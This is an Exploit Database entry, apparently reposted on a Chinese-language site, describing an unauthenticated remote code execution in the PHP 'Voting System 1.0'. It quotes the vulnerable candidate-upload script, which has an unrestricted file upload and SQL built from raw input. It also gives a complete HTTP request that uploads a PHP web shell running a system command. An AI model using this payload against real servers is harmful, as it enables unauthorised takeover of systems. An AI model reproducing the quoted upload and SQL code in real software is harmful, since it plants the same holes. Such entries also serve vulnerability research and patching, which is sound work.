Voting System 1.0 – Remote Code Execution (Unauthenticated)

• Exploit Database
• 25 阅读

• 作者： secure77
  日期： 2021-05-07
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49846/

• # Exploit Title: Voting System 1.0 - Remote Code Execution (Unauthenticated)
  # Date: 07/05/2021
  # Exploit Author: secure77
  # Vendor Homepage: https://www.sourcecodester.com/php/12306/voting-system-using-php.html
  # Software Link: https://www.sourcecodester.com/download-code?nid=12306&title=Voting+System+using+PHP%2FMySQLi+with+Source+Code
  # Version: 1.0
  # Tested on: Linux Debian 5.10.28-1kali1 (2021-04-12) x86_64 // PHP Version 7.4.15 & Built-in HTTP server // mysql Ver 15.1 Distrib 10.5.9-MariaDB
  
  Unauthenticated file upload is possible via /admin/candidates_add.php that can use for RCE.
  Your upload will be stored at /images/ and is also accessible without authentication.
  
  
  
  ########################### Vulnerable code ############################
  <?php
  	include 'includes/session.php';
  
  	if(isset($_POST['add'])){
  		$firstname = $_POST['firstname'];
  		$lastname = $_POST['lastname'];
  		$position = $_POST['position'];
  		$platform = $_POST['platform'];
  		$filename = $_FILES['photo']['name'];
  		if(!empty($filename)){
  			move_uploaded_file($_FILES['photo']['tmp_name'], '../images/'.$filename);	
  		}
  
  		$sql = "INSERT INTO candidates (position_id, firstname, lastname, photo, platform) VALUES ('$position', '$firstname', '$lastname', '$filename', '$platform')";
  		if($conn->query($sql)){
  			$_SESSION['success'] = 'Candidate added successfully';
  		}
  		else{
  			$_SESSION['error'] = $conn->error;
  		}
  
  	}
  	else{
  		$_SESSION['error'] = 'Fill up add form first';
  	}
  
  	header('location: candidates.php');
  ?>
  
  ########################### Payload ############################
  POST /admin/candidates_add.php HTTP/1.1
  Host: 192.168.1.1
  Content-Length: 275
  Cache-Control: max-age=0
  Origin: http://192.168.1.1
  Upgrade-Insecure-Requests: 1
  DNT: 1
  Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrmynB2CmGO6vwFpO
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  Referer: http://192.168.1.1/admin/candidates.php
  Accept-Encoding: gzip, deflate
  Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
  Connection: close
  
  ------WebKitFormBoundaryrmynB2CmGO6vwFpO
  Content-Disposition: form-data; name="photo"; filename="shell.php"
  Content-Type: application/octet-stream
  
  <?php echo exec("whoami"); ?>
  
  ------WebKitFormBoundaryrmynB2CmGO6vwFpO
  Content-Disposition: form-data; name="add"